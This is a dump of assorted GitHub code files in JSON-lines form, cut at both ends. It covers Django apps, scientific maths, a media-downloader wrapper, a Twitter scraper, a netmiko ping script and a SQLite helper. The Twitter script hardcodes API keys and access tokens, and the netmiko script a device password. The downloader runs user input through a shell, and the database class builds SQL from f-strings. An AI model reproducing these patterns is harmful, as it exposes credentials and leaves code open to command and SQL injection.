n in line:\n return \"error\"\n return \"solved\"\n\nsolver = Solver(\"./sudokus/sudoku4.txt\")\nsolver.update_squares()\nsolver.eliminate_possibilities()\nprint(\"--- %s seconds ---\" % (time.time() - start_time))","repo_name":"anthodemorais/SudokuSolver","sub_path":"simple_sudoku_solver.py","file_name":"simple_sudoku_solver.py","file_ext":"py","file_size_in_byte":7956,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"32299584503","text":"from django.urls import path\nfrom .views import PropertyListCreateView, PropertyDetailView, PropertyDocumentView, DeleteDocumentView, GetPieChartView, PropertyExportAPIView\n\nurlpatterns = [\n path('property/', PropertyListCreateView.as_view(), name='property-list-create'),\n path('property/<int:pk>/', PropertyDetailView.as_view(), name='property-detail'),\n path('property/<int:property_id>/document/', PropertyDocumentView.as_view(), name='property-documents'),\n path('property/<int:property_id>/document-delete/<int:document_id>/', DeleteDocumentView.as_view(), name='property-documents-delete'),\n path('property/chart/', GetPieChartView.as_view()),\n path('property/export/', PropertyExportAPIView.as_view())\n]","repo_name":"FalakShair01/fastighetsvyn","sub_path":"property/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"31898077798","text":"'''\nAuthor: Shuailin Chen\nCreated Date: 2021-05-18\nLast Modified: 2021-05-19\n\tcontent: adapt from Song Hui's matlab code\n'''\n\nimport os.path as osp\n\nimport numpy as np\n\nfrom mylib import polSAR_utils as psr\n\n\ndef determinant(A):\n ''' Calculate determinant of a C3 matrix\n\n Args:\n A (ndarray): PolSAR data\n\n Returns:\n det (ndarray): determint\n '''\n\n A = psr.as_format(A, 'complex_vector_9')\n det = A[0, ...] * A[4, ...] * A[8, ...] + A[1, ...] * A[5, ...] \\\n * A[6, ...] + A[2, ...] * A[3, ...] * A[7, ...] - A[2, ...] \\\n * A[4, ...] * A[6, ...] - A[1, ...] * A[3, ...] * A[8, ...] \\\n - A[0, ...] * A[5, ...] * A[7, ...]\n \n return det\n\n\ndef inverse(A):\n ''' Calculate inverse matrix of a C3 matrix\n\n Args:\n A (ndarray): PolSAR data\n\n Returns:\n inv (ndarray): inverse matrix\n '''\n\n A = psr.as_format(A, 'complex_vector_9')\n confA = np.zeros_like(A)\n confA[0, ...] = A[4, ...] * A[8, ...] - A[5, ...] * A[7, ...]\n confA[1, ...] = -(A[3, ...] * A[8, ...] - A[5, ...] * A[6, ...])\n confA[2, ...] = A[3, ...] * A[7, ...] - A[4, ...] * A[6, ...]\n confA[3, ...] = -(A[1, ...] * A[8, ...] - A[2, ...] * A[7, ...])\n confA[4, ...] = A[0, ...] * A[8, ...] - A[2, ...] * A[6, ...]\n confA[5, ...] = -(A[0, ...] * A[7, ...] - A[1, ...] * A[6, ...])\n confA[6, ...] = A[1, ...] * A[5, ...] - A[2, ...] * A[4, ...]\n confA[7, ...] = -(A[0, ...] * A[5, ...] - A[2, ...] * A[3, ...])\n confA[8, ...] = A[0, ...] * A[4, ...] - A[1, ...] * A[3, ...]\n\n adjA = np.zeros_like(A)\n for m in range(1, 4):\n for n in range(1, 4):\n adjA[(m-1)*3+n-1, ...] = confA[(n-1)*3+m-1, ...]\n\n det = determinant(A)\n P = 9\n inv = adjA / np.tile(det[np.newaxis], (P, 1, 1))\n\n return inv\n\n\ndef distance_by_c3(A, B, type):\n ''' Pixel-Level Difference Map, by calculating the pixelwise similarities of C3 data between two PolSAR images\n\n Args:\n A/B (ndarray): PolSAR data\n type (str): distance metric type, 'Bartlett' or 'rw' (revised Wishart)\n or 'srw' (symmetric revised Wishart)\n\n Returns:\n difference map, in shape like Arg A's \n '''\n\n q = 3\n A = psr.as_format(A, 'complex_vector_9')\n B = psr.as_format(B, 'complex_vector_9')\n\n if type == 'Bartlett':\n logdetA = 0.5*np.real(np.log(np.abs(determinant(A))))\n logdetB = 0.5*np.real(np.log(np.abs(determinant(B))))\n D = np.log(np.abs(determinant((A+B)))) - (logdetA+logdetB)\n\n elif type in ('srw', 'symmetric revised Wishart'):\n iA = inverse(A)\n iB = inverse(B)\n D = np.real(\n np.sum(iA * B[[0, 3, 6, 1, 4, 7, 2, 5, 8], ...], axis=0) \\\n + np.sum(iB * A[[0, 3, 6, 1, 4, 7, 2, 5, 8], ...], axis=0)\n )\n D = 0.5*D - q\n \n elif type in ('rw', 'revised Wishart'):\n logdetB = np.real(np.log(np.abs(determinant(B))))\n logdetA = np.real(np.log(np.abs(determinant(A))))\n iB = inverse(B)\n iB = iB[[0, 3, 6, 1, 4, 7, 2, 5, 8], ...]\n D = logdetB - logdetA + np.sum(iB*A, 0) - q\n D = np.real(D)\n\n return D\n \n \nif __name__ == '__main__':\n fa = r'data/2009_SUB_SUB/C3'\n fb = r'data/2010_SUB_SUB/C3'\n\n c31 = psr.read_c3(fa)\n c32 = psr.read_c3(fb)\n\n # print(determinant(np.expand_dims(c31[:, :15, 0], 2)))\n # print(np.squeeze(inverse(np.expand_dims(c31[:, :15, 0], 2)).T))\n\n c31 = np.expand_dims(c31[:, :15, 0], 2)\n c32 = np.expand_dims(c32[:, :15, 0], 2)\n print(distance_by_c3(c31, c32, 'srw')) ","repo_name":"slchenchn/PolSAR-unsupervised-change-detection","sub_path":"PolSAR_distance_metric.py","file_name":"PolSAR_distance_metric.py","file_ext":"py","file_size_in_byte":3560,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"5"} +{"seq_id":"41217972656","text":"#!/usr/bin/env python\nimport torch as th\nimport numpy as np\nimport gmsh\nimport sys\nimport meshio\nimport pdb\nimport os\nfolder = os.path.dirname(os.path.abspath(__file__))\n\n\ndef mips_p4(filename, rule):\n '''\n nodes35: (num_tets, 35, 3)\n '''\n m = meshio.read(filename)\n V, T = m.points, m.cells[0].data\n with np.load(os.path.join(folder, f'data/p4_q{rule}_dxyz.npz')) as npl:\n dxyz, weights, pts = map(\n lambda x: th.from_numpy(npl[x]), ['dxyz', 'weights', 'points'])\n print('Total Shape', T.shape)\n quadpoints = dxyz.shape[1]\n split_num = len(T)//5000 + 1\n for T0 in np.array_split(T, split_num):\n print('>> current shape', T0.shape)\n nodes35 = th.from_numpy(V[T0])\n jacs = (dxyz@(nodes35.unsqueeze(1))\n ).transpose(1, 2).reshape(-1, 3, 3)\n dets = th.sum(jacs[:, :, 0] *\n th.cross(jacs[:, :, 1], jacs[:, :, 2]), dim=-1)\n frob2 = th.sum(jacs.reshape(-1, 9)**2, dim=-1)\n mipses = (frob2/dets**(2/3)).reshape(len(nodes35), -1)\n print(f'dets {dets.min()}, {dets.max()}')\n if (dets.min() < 0):\n dets = dets.reshape(len(nodes35), quadpoints)\n print(f'flip at', np.unravel_index(dets.argmin(), dets.shape))\n continue\n print(f'mipses {mipses.min()}, {mipses.max()}')\n print((mipses@weights).mean())\n\n\ndef gmsh_check(filename: str):\n gmsh.initialize()\n gmsh.option.setNumber(\"General.Terminal\", 1)\n gmsh.open(filename)\n gmsh.plugin.setNumber('AnalyseMeshQuality', 'Recompute', 1)\n gmsh.plugin.setNumber('AnalyseMeshQuality', 'JacobianDeterminant', 1)\n gmsh.plugin.run('AnalyseMeshQuality')\n gmsh.finalize()\n\n\ndef gmsh_optimize(filename: str):\n gmsh.initialize()\n gmsh.option.setNumber(\"General.Terminal\", 1)\n gmsh.open(filename)\n m = gmsh.model.mesh\n m.optimize(\"HighOrder\")\n\n\nif __name__ == '__main__':\n import fire\n fire.Fire()\n","repo_name":"jiangzhongshi/bichon","sub_path":"python/curve/gmsh_helper.py","file_name":"gmsh_helper.py","file_ext":"py","file_size_in_byte":1948,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"5"} +{"seq_id":"40645094115","text":"from django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.contrib import messages\nfrom django.contrib.contenttypes.models import ContentType \nfrom django.db.models import Q \nfrom django.http import HttpResponse, HttpResponseRedirect, Http404\nfrom django.shortcuts import render\nfrom django.shortcuts import render, get_object_or_404, redirect\n\n\nfrom .models import Post \nfrom .forms import PostForm\n\n# Create your views here.\n\ndef blog_create(request):\n\tif not request.user.is_staff or not request.user.is_superuser:\n\t\traise Http404\n\n\tform = PostForm(request.POST or None, request.FILES or None)\n\tif form.is_valid():\n\t\tinstance = form.save(commit=False)\n\t\tinstance.user = request.user \n\t\tinstance.save()\n\t\tmessages.success(request, \"Tema creado exitosamente\")\n\t\treturn HttpResponseRedirect(instance.get_absolute_url())\n\t\t\n\tcontext = {\n\t\t\"form\": form,\n\t}\n\n\treturn render(request, \"blog_form.html\", context)\n\ndef blog_list(request):\n\tqueryset_list = Post.objects.all().order_by(\"-timestamp\")\n\tquery = request.GET.get(\"q\")\n\tif query:\n\t\tqueryset_list = queryset_list.filter(\n\t\t\tQ(title__icontains=query)|\n\t\t\tQ(content__icontains=query)|\n\t\t\tQ(user__username__icontains=query)\n\t\t\t).distinct()\n\tpaginator = Paginator(queryset_list, 5)\n\tpage = request.GET.get('page')\n\ttry:\n\t\tqueryset = paginator.page(page)\n\texcept PageNotAnInteger: \n\t\tqueryset = paginator.page(1)\n\texcept EmptyPage:\n\t\tqueryset = paginator.page(paginator.num_pages)\n\tcontext = {\n\t\t\"object_list\": queryset_list,\n\t\t\"title\": \"Recetas\"\n\n\t}\n\n\treturn render(request, \"blog_list.html\", context)\n\n\ndef blog_detail(request, slug=None):\n\tinstance = get_object_or_404(Post, slug=slug)\n\t#share_tring = quote_plus(instance.content)\n\n\tcontext = {\n\t\t\"title\": instance.title,\n\t\t\"instance\": instance,\n\t\t#\"share_string\": share_string\n\t}\n\n\treturn render(request, \"blog_detail.html\", context)\n\ndef blog_delete(request, slug=None):\n\tif not request.user.is_staff or not request.user.is_superuser:\n\t\traise Http404\n\tinstance = get_object_or_404(Post, slug=slug)\n\tinstance.delete()\n\tmessages.success(request, \"Post Eliminado Correctamente\")\n\treturn redirect(\"blog:list\")\n\ndef blog_update(request, slug=None):\n\tif not request.user.is_staff or not request.user.is_superuser:\n\t\traise Http404\n\tinstance = get_object_or_404(Post, slug=slug)\n\tform = PostForm(request.POST or None, request.FILES or None, instance=instance)\n\tif form.is_valid():\n\t\tinstance = form.save(commit=False)\n\t\tinstance.save()\n\t\tmessages.success(request, \"Post Editado\")\n\t\treturn HttpResponseRedirect(instance.get_absolute_url())\n\tcontext = {\n\t\t\"title\": instance.title,\n\t\t\"instance\": instance,\n\t\t\"form\": form \n\t}\n\treturn render (request, \"blog_form.html\", context)","repo_name":"pokervarino/Blog-Inventario","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"10975532077","text":"while True:\n import subprocess\n import os\n import re\n \n os.system('cls' if os.name == 'nt' else 'clear')\n print(\"\"\"1 - yt-dlp\n2 - gallery-dl\n3 - aria2c\n4 - update script\nUse \"-h\" to see command aliases I have added\\n\"\"\")\n dl = input(\"Downloader to use: \")\n \n if dl == \"-h\":\n os.system('cls' if os.name == 'nt' else 'clear')\n print(\"\"\"The \"-h/--help\" command works with all three, just enter that at the first prompt\n \nyt-dlp aliases:\n-d : --downloader\n-ws : --write-subs\n-was : --write-auto-subs\n-sd : --skip-download\n\"-nd\" : --no-download\n\"-ec\" : --embed-chapters\n\"-ac\" : --add-chapters\n\"-wc\" : --write-comments\n\ngallery-dl: aliases:\n-z : --zip\n \nno current aliases for aria2c\\n\"\"\")\n input(\"Press Enter to continue...\")\n \n elif dl == \"1\":\n \n os.system('cls' if os.name == 'nt' else 'clear')\n mode = input(\"Mode (type 'modhelp' if not sure what this means): \")\n \n if mode.startswith(\"-h\") or mode == \"--help\":\n run = f\"yt-dlp -h\"\n subprocess.run(run, shell=True)\n input(\"Press Enter to continue...\")\n \n if mode == \"modhelp\":\n print(\"\"\"This is where you would put the first argument like \"-F\" or \"-U\"\nhere is a list of everything supported here so far:\n \n-h (show help)\n-U (update yt-dlp)\n-F (possible formats, recommend using this before -f)\n-x (download audio)\n-f (format, enter format number at next prompt)\nalt, other, options (run anything else not shown here)\"\"\")\n input(\"Press Enter to continue...\")\n \n if mode.startswith(\"-U\") or mode == \"--update\":\n run = f\"yt-dlp -U\"\n subprocess.run(run, shell=True)\n input(\"Press Enter to continue...\")\n \n elif mode.startswith(\"-F\") or mode == \"--list-formats\":\n moreops = input(\"Additional Options: \")\n url = input(\"Url: \")\n #print(f\"yt-dlp -F {url}\")\n run = f\"yt-dlp -F {moreops} {url}\"\n subprocess.run(run, shell=True)\n input(\"Press Enter to continue...\")\n \n elif mode.startswith(\"-x\") or mode == \"--extract-audio\":\n audform = input(\"Audio Format (best (default), aac, alac, flac, m4a, mp3, opus, vorbis, wav): \")\n moreops = input(\"Additional options: \")\n replacements = { #to make alias' for any other commands just follow the format\n #\"shortalias\" : \"full command\"\n \"-ws\" : \"--write-subs\",\n \"-was\" : \"--write-auto-subs\",\n \"-sd\" : \"--skip-download\",\n \"-nd\" : \"--no-download\",\n \"-ec\" : \"--embed-chapters\",\n \"-ac\" : \"--add-chapters\",\n \"-wc\" : \"--write-comments\"\n }\n #make it look for \"-d\" standalone (things like --dump-settings wont count)\n removeD = r'(^|\\s)-d($|\\s)'\n \n #function to replace and keep spaces\n def replace_with_spaces(match):\n option = match.group(0)\n replacement = replacements.get(option, option)\n return ' ' + replacement + ' '\n \n #replace and keep spaces (to add another alias (example -zs) just add it like this \"|-zs\" ex: '(-ws|-was)' -> '(-ws|-was|-zs)')\n moreops = re.sub(r'(-ws|-was|-sd|-nd|-ec|-ac|-wc)', replace_with_spaces, moreops)\n \n #split input into separate options\n options = moreops.split()\n \n #process each option individually\n for i in range(len(options)):\n if options[i] == '-d':\n options[i] = '--downloader'\n \n #join options back together\n moreops = ' '.join(options)\n \n url = input(\"Url: \")\n \n if audform.startswith(\"best\"):\n #print(f\"yt-dlp -x {moreops} {url}\")\n run = f\"yt-dlp -x {moreops} {url}\"\n subprocess.run(run, shell=True)\n input(\"Press Enter to continue...\")\n else:\n #print(f\"yt-dlp -x --audio-format {audform} {moreops} {url}\")\n run = f\"yt-dlp -x --audio-format {audform} {moreops} {url}\"\n subprocess.run(run, shell=True)\n input(\"Press Enter to continue...\")\n \n elif mode.startswith(\"-f\"):\n vidform = input(\"Video format: \")\n moreops = input(\"Additional options: \")\n replacements = {\n \"-ws\" : \"--write-subs\",\n \"-was\" : \"--write-auto-subs\",\n \"-sd\" : \"--skip-download\",\n \"-nd\" : \"--no-download\",\n \"-ec\" : \"--embed-chapters\",\n \"-ac\" : \"--add-chapters\",\n \"-wc\" : \"--write-comments\"\n }\n removeD = r'(^|\\s)-d($|\\s)'\n \n def replace_with_spaces(match):\n option = match.group(0)\n replacement = replacements.get(option, option)\n return ' ' + replacement + ' '\n \n moreops = re.sub(r'(-ws|-was|-sd|-nd|-ec|-ac|-wc)', replace_with_spaces, moreops)\n \n options = moreops.split()\n for i in range(len(options)):\n if options[i] == '-d':\n options[i] = '--downloader'\n \n moreops = ' '.join(options)\n \n url = input(\"Url: \")\n #print(f\"yt-dlp -f {vidform} {moreops} {url}\")\n run = f\"yt-dlp -f {vidform} {moreops} {url}\"\n subprocess.run(run, shell=True)\n input(\"Press Enter to continue...\")\n \n elif mode == \"alt\" or mode == \"other\" or mode == \"options\":\n options = input(\"Custom options: \")\n \n replacements = {\n \"-ws\" : \"--write-subs\",\n \"-was\" : \"--write-auto-subs\",\n \"-sd\" : \"--skip-download\",\n \"-nd\" : \"--no-download\",\n \"-ec\" : \"--embed-chapters\",\n \"-ac\" : \"--add-chapters\",\n \"-wc\" : \"--write-comments\"\n }\n removeD = r'(^|\\s)-d($|\\s)'\n \n def replace_with_spaces(match):\n option = match.group(0)\n replacement = replacements.get(option, option)\n return ' ' + replacement + ' '\n \n options = re.sub(r'(-ws|-was|-sd|-nd|-ec|-ac|-wc)', replace_with_spaces, options)\n \n options = options.split()\n for i in range(len(options)):\n if options[i] == '-d':\n options[i] = '--downloader'\n \n options = ' '.join(options)\n \n url = input(\"Url: \")\n #print(f\"yt-dlp {options} {url}\")\n run = f\"yt-dlp {options} {url}\"\n subprocess.run(run, shell=True)\n input(\"Press Enter to continue...\") \n \n elif dl == \"2\":\n os.system('cls' if os.name == 'nt' else 'clear')\n mode = input(\"Commands (not required): \")\n \n if mode.startswith(\"-h\") or mode == \"--help\":\n run = f\"gallery-dl -h\"\n subprocess.run(run, shell=True)\n input(\"Press Enter to continue...\")\n \n else:\n \n pattern = r'(^|\\s)-z($|\\s)'\n \n def replace_with_spaces(match):\n option = match.group(0)\n return ' --zip ' if option.strip() == '-z' else option\n mode = re.sub(pattern, replace_with_spaces, mode)\n \n url = input(\"Url: \")\n \n #print(f\"gallery-dl {mode} {url}\")\n run = f\"gallery-dl {mode} {url}\"\n subprocess.run(run, shell=True)\n input(\"Press Enter to continue...\")\n \n elif dl == \"3\":\n os.system('cls' if os.name == 'nt' else 'clear')\n mode = input(\"Options for aria2c (not required): \")\n \n if mode.startswith(\"-h\") or mode == \"--help\":\n run = f\"aria2c -h\"\n subprocess.run(run, shell=True)\n input(\"Press Enter to continue...\")\n \n else:\n url = input(\"\"\"Url (\"\" are not added to the url, so add them if need be): \"\"\")\n print(f\"aria2c {mode} {url}\")\n run = f\"aria2c {mode} {url}\"\n subprocess.run(run, shell=True)\n input(\"Press Enter to continue...\")\n \n elif dl == \"4\":\n os.system('cls' if os.name == 'nt' else 'clear')\n subprocess.call(['python', \"update.py\"], shell=True)","repo_name":"plshelpidkwhatimdoing/downloader","sub_path":"downloader.py","file_name":"downloader.py","file_ext":"py","file_size_in_byte":8577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"38647537869","text":"# Realizar un menu de un cajero automatico\n# deposito \n# extraccion\n# transferencia\n# salir\n# solo se detendra la opcion salir en el menu principal\n\n# definimos menu\n\n\nprint('Bienvenido')\nselec = 0\nwhile selec != 4:\n selec = int(input('Ingrese 1 para Depositos.''\\n''Ingrese 2 para Extracciones.''\\n''Ingrese 3 para Transferencia.''\\n''Ingrese 4 para Salir.''\\n'':'))\n\n if selec == 1:\n print('Usted esta en Deposito')\n deposito = int(input('Ingrese la cantidad a depositar: '))\n \n elif selec == 2:\n print('Usted esta en extracciones')\n extraccion = int(input('Ingrese el monto a extraer: '))\n \n elif selec == 3:\n print('Usted esta en transferencia')\n transferencia: int(input('Ingrese el monto a transferir: '))\n else:\n print('Adios')","repo_name":"Colbert1994/python_pil","sub_path":"clases/clase3_ejercicio.py","file_name":"clase3_ejercicio.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"37314148003","text":"\"\"\"\nFastAPI Backend\n\"\"\"\n\nimport logging\nfrom typing import List, Union\n\nimport gensim\nfrom nltk import download\nfrom nltk.data import find\nfrom nltk.sentiment.vader import SentimentIntensityAnalyzer\n\nfrom fastapp.app.base import FastAppRouter\nfrom fastapp.models import bodies, responses\n\nlogger = logging.getLogger(__name__)\n\nfor (dataset_name, nltk_dataset) in [\n (\"models/word2vec_sample/pruned.word2vec.txt\", \"word2vec_sample\"),\n (\"sentiment/vader_lexicon.zip/vader_lexicon/vader_lexicon.txt\", \"vader_lexicon\")\n]:\n try:\n find(dataset_name)\n except LookupError:\n download(nltk_dataset)\n\nword2vec_sample = str(find(\"models/word2vec_sample/pruned.word2vec.txt\"))\ngensim_model = gensim.models.KeyedVectors.load_word2vec_format(word2vec_sample, binary=False)\n\nsid = SentimentIntensityAnalyzer()\n\nmachine_learning_router = FastAppRouter(prefix=\"/ml\",\n tags=[\"machine learning\"])\n\n\n@machine_learning_router.post(\"/most_similar\")\ndef get_most_similar(body: bodies.GensimRequest) -> List[List[Union[str, float]]]:\n \"\"\"\n Get a Gensim `gensim.most_similar` response\n \"\"\"\n return gensim_model.most_similar(positive=body.positive,\n negative=body.negative,\n topn=body.topn)\n\n\n@machine_learning_router.post(\"/sentiment\", response_model=List[responses.SentimentResponse])\ndef get_sentiment(text: bodies.SentimentRequest) -> List[responses.SentimentResponse]:\n \"\"\"\n Get a `SentimentIntensityAnalyzer` polarity_scores response\n \"\"\"\n results = []\n if isinstance(text.text, list):\n for text_blob in text.text:\n ss = sid.polarity_scores(text_blob)\n results.append(ss)\n else:\n ss = sid.polarity_scores(text=text.text)\n results.append(dict(ss))\n return results\n","repo_name":"juftin/fastapp","sub_path":"fastapp/app/machine_learning.py","file_name":"machine_learning.py","file_ext":"py","file_size_in_byte":1855,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"9997631000","text":"#!/usr/bin/env python3\n\"\"\"\nThis script searches for a string in a CSV file containing RSS entries\nand creates a new CSV file from all the rows where it found the string.\n\nArgs:\n --source: path to the source file in which the search should be performed\n --target: new csv file path name. Script will not append *.csv extension\n --find: string which should be searched\n --columns: comma separated csv columns name where string to be searched. Default: Title\n\"\"\"\n\nimport argparse\nimport csv\nimport os\nimport re\n\nimport shared\n\n\ndef parse_arguments():\n parser = argparse.ArgumentParser(description='Searches for a string in a CSV file containing RSS '\n 'entries and creates a new CSV file from all the rows where it found '\n 'the string.')\n\n parser.add_argument('--source', help='Path to the source file in which the search should be performed')\n\n parser.add_argument('--target', help='New csv file path name. Script will not append *.csv extension')\n\n parser.add_argument('--find', help='String which should be searched')\n\n parser.add_argument('--columns', default='Title',\n help='Comma separated csv columns name where string to be searched')\n\n return parser.parse_args()\n\n\ndef main(source: str, target: str, target_string: str, columns: str):\n print(f\"Processing {source} for {target_string}\")\n\n target_folder = os.path.abspath(os.path.dirname(target))\n\n os.makedirs(target_folder, exist_ok=True)\n\n columns = columns.split(',')\n\n # Open the CSV file\n with open(source, 'r', newline='') as input_file, open(target, 'w', newline='') as output_file:\n reader = csv.DictReader(input_file)\n fieldnames = reader.fieldnames\n\n writer = csv.DictWriter(output_file, fieldnames=fieldnames)\n writer.writeheader()\n\n for row in reader:\n found = any(re.search(target_string, row[column]) for column in columns)\n if found:\n writer.writerow(row)\n\n\n# Main entry point\nif __name__ == '__main__':\n args = parse_arguments()\n\n source_arg = shared.utils.is_valid_file_path(args.source)[0]\n target_arg = args.target\n find_arg = args.find\n columns_arg = args.columns\n\n main(source_arg, target_arg, find_arg, columns_arg)\n","repo_name":"ggghhhjjj/ggghhhjjj.github.io","sub_path":"analytical-collection/analytical-scripts/csv-find-string.py","file_name":"csv-find-string.py","file_ext":"py","file_size_in_byte":2351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"12784624240","text":"import tweepy\r\nimport json\r\n\r\n#Initialize authentification\r\nconsumer_key = 'iHujLsC8W4rM0ry91BLeTpj98'\r\nconsumer_secret = 'vdcgSw4i3bHg9rfWNNJuix4kIyy7I41eR8JVl9KR60iy6oseRw'\r\naccess_token = '390473986-PT6aWvZTeVU9b60G92yqepZX2ok5GRL0D6YYQowp'\r\naccess_token_secret = 'oGXzc9lDmlC7Jjlw9ln1HQb88sPic6wbdLVuL9grOtmOJ'\r\n\r\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\r\nauth.set_access_token(access_token, access_token_secret)\r\napi = tweepy.API(auth, wait_on_rate_limit=True)\r\n\r\ndef fetch_tweets():\r\n#fetch tweets from API\r\n i = 1\r\n with open('MentalHealth100321.json', 'w') as f:\r\n for tweet in tweepy.Cursor(api.search, q=\"Mental Health OR Kesehatan Mental -filter:retweets\", result_type=\"recent\", include_entities=True, lang=\"id\",tweet_mode=\"extended\").items():\r\n a1 = {}\r\n a1[\"created_at\"] = tweet._json[\"created_at\"]\r\n a1[\"geo\"] = tweet._json[\"geo\"]\r\n a1[\"user\"] = tweet._json[\"user\"][\"screen_name\"]\r\n a1[\"full_text\"] = tweet._json[\"full_text\"]\r\n a1[\"favorite_count\"] = tweet._json[\"favorite_count\"]\r\n a1[\"retweet_count\"] = tweet._json[\"retweet_count\"]\r\n a1[\"in_reply_to_screen_name\"] = tweet._json[\"in_reply_to_screen_name\"]\r\n a1[\"is_quote_status\"] = tweet._json[\"is_quote_status\"]\r\n\r\n\r\n if tweet._json[\"retweet_count\"] > 0:\r\n f.write(json.dumps(a1)+\"\\n\")\r\n print(i, tweet.created_at, tweet.user.screen_name, \"Tweeted:\", tweet.full_text,\".\", \"Liked: \", tweet.favorite_count, \"Retweeted:\", tweet.retweeted, 'Count:', tweet.retweet_count)\r\n i = i + 1\r\n\r\n\r\nfetch_tweets()\r\n","repo_name":"zhorahmatt/python-data-visualization-simple","sub_path":"MH1.py","file_name":"MH1.py","file_ext":"py","file_size_in_byte":1651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"5211488852","text":"from netmiko import ConnectHandler\n\n\nprint (\"show prompt from device\")\n\ncisco4 = {\n\t'device_type': 'cisco_ios',\n\t'host': 'cisco4.lasthop.io',\n\t'username': 'pyclass',\n\t'password': '88newclass',\n}\nnet_connect = ConnectHandler(**cisco4)\n\n#print(net_connect.find_prompt())\n\ncommand = 'ping'\noutput = net_connect.send_command(command, expect_string=r':',\n\t\t\t\t\t\t\t\t strip_prompt=False, strip_command=False)\noutput += net_connect.send_command('\\n', expect_string=r':',\n\t\t\t\t\t\t\t\t strip_prompt=False, strip_command=False)\noutput += net_connect.send_command('8.8.8.8', expect_string=r':',\n\t\t\t\t\t\t\t\t strip_prompt=False, strip_command=False)\nfor prompt in range(5):\n\toutput += net_connect.send_command('\\n', expect_string=r':',\n\t\t\t\t\t\t\t\t strip_prompt=False, strip_command=False)\nprint(output)","repo_name":"nathaniel-mills/PyPlus-Class1","sub_path":"Netmiko/week2/netmiko1.py","file_name":"netmiko1.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"31881811176","text":"data = input()\r\nbomb = input()\r\nbomb_list = []\r\nfor b in bomb:\r\n bomb_list.append(b)\r\nbomb_size = len(bomb)\r\nstack = []\r\n\r\nfor d in data:\r\n stack.append(d)\r\n if stack[-bomb_size:] == bomb_list:\r\n del stack[-bomb_size:]\r\n # for문 안에서 pop 하는것도 통과\r\n\r\nif len(stack) == 0:\r\n print('FRULA')\r\nelse:\r\n print(\"\".join(stack))\r\n","repo_name":"hexaspace/BOJ-python-algorithm","sub_path":"백준/Gold/9935. 문자열 폭발/문자열 폭발.py","file_name":"문자열 폭발.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"22479343888","text":"import os\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport scipy.io\r\nfrom fb_dft import Analysis, Synthesis\r\n\r\nmy_dft_fb = scipy.io.loadmat(os.path.join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'fb_design', 'my_dft_fb.mat'))['fb']\r\nana = Analysis(my_dft_fb)\r\nsyn = Synthesis(my_dft_fb)\r\n\r\nx = np.zeros([1, 1600])\r\nx[:,0] = 1\r\nx[:,10] = -1/2\r\nx[:,100] = 1/3\r\nx[:,1000] = -1/4\r\n\r\nX, ana_bfr = ana(x) # analysis\r\ny, syn_bfr = syn(X) # synthesis\r\nplt.plot(x[0])\r\nplt.plot(y[0]) # output should be impuses as well\r\nplt.legend(['original', 'reconstructed'])\r\nplt.title('Nearly PR')\r\nplt.show()","repo_name":"lixilinx/Filterbank","sub_path":"tensorflow/demo_reconstruction.py","file_name":"demo_reconstruction.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"20283873491","text":"import sqlite3\nimport os\n\n\n\n\nclass Database(object):\n def __init__(self, database=\"media_db.db\"):\n if not os.path.exists(os.path.dirname(__file__) +\"\\\\data\\\\\" + database):\n try:\n os.mkdir(\"data\")\n except:\n pass\n open(\"data/\" + database, \"w\").close()\n tempcon = sqlite3.connect('data/' + database)\n tempcon.cursor().execute(\"CREATE TABLE 'music' (path string(32767))\")\n tempcon.cursor().execute(\"CREATE TABLE 'playlists' (name string(256), music string(9223372036854775807))\")\n tempcon.commit()\n tempcon.close()\n self.con = sqlite3.connect('data/' + database)\n self.cur = self.con.cursor()\n\n def add_music(self, path):\n try:\n self.cur.execute(\"INSERT INTO 'music' VALUES ('{}')\".format(path))\n self.con.commit()\n except Exception as e:\n print(e)\n return \"\"\n\n def read_music(self):\n try:\n return self.cur.execute(\"SELECT * FROM 'music'\").fetchall()\n except Exception as e:\n print(str(e))\n return \"\"\n\n\n def request_select(self, sql_request):\n try:\n return self.cur.execute(sql_request).fetchall()\n except Exception as e:\n print(e)\n return \"\"\n\n def add_playlist(self, playlist):\n print(playlist['name'], playlist['musics'])\n self.cur.execute(f'UPDATE playlists SET music=\"{str(playlist[\"musics\"])}\" WHERE name LIKE \"{playlist[\"name\"]}\"')\n self.con.commit()\n\n def get_playlists(self):\n return self.cur.execute(\"SELECT * FROM 'playlists'\").fetchall()\n\n def get_playlist_named(self, name: str):\n return self.cur.execute(f\"SELECT * FROM 'playlists' WHERE name LIKE '{name}'\").fetchone()\n\n def create_playlist(self, name):\n self.cur.execute(f'INSERT INTO playlists (`name`, `music`) VALUES (\"{name}\", \"\")')\n 